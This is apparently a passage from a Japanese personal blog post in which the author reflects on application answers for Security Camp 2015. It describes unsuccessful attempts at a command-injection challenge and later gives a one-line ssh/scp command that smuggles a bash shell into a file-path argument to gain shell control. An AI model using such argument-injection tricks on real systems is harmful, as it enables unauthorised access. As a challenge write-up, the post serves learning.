これを利用すれば、任意のコマンドを実行できると思ったが、どうやらwordexp()の脆弱性では、コマンドは一つしか実行できず、strspn()で&が禁止されているのでダメだった。また、shellshockの脆弱性が使えるかとも思ったが、これにはスペースが必要で無理だった。他にもscpの脆弱性を探したが、特に役に立ちそうなものは見つからなかった。何かデーモンを起動してその脆弱性をつくのかとも考えたが、引数なしで起動できるものが分からなかった。
今回この問題が解けなくてとても悔しいので、解けるように練磨したい。

【回答ここまで】

回答用紙について

選択問題10でアンチデバッグ手法を連ねたことを反省はしている
問12とかは最後まで解けなかったけど、セキュキャン通ってたので解けなくても自分なりにチャレンジしてみるということが大切?
(後にやったところ、ssh -y test@shell.scamp2015.com 'scp -f /home/$((/bin/bash))'というふうにすればシェルを自由に制御でき、任意のファイルをアップロードできた)

てことで多分今回セキュキャンに通った主な理由は、上のツイートにもあるように問8で実際に手を動かして検証してみたことにあるのだと思う。

感想(小並
とにかく、まさか自分が通ってるとはびっくりした。
セキュキャンに参加するプロたちに煽られないように頑張りたい。
いくぜセキュキャン!!!


0件のコメント

コメントを残す

アバタープレースホルダー

メールアドレスが公開されることはありません。 が付いている欄は必須項目です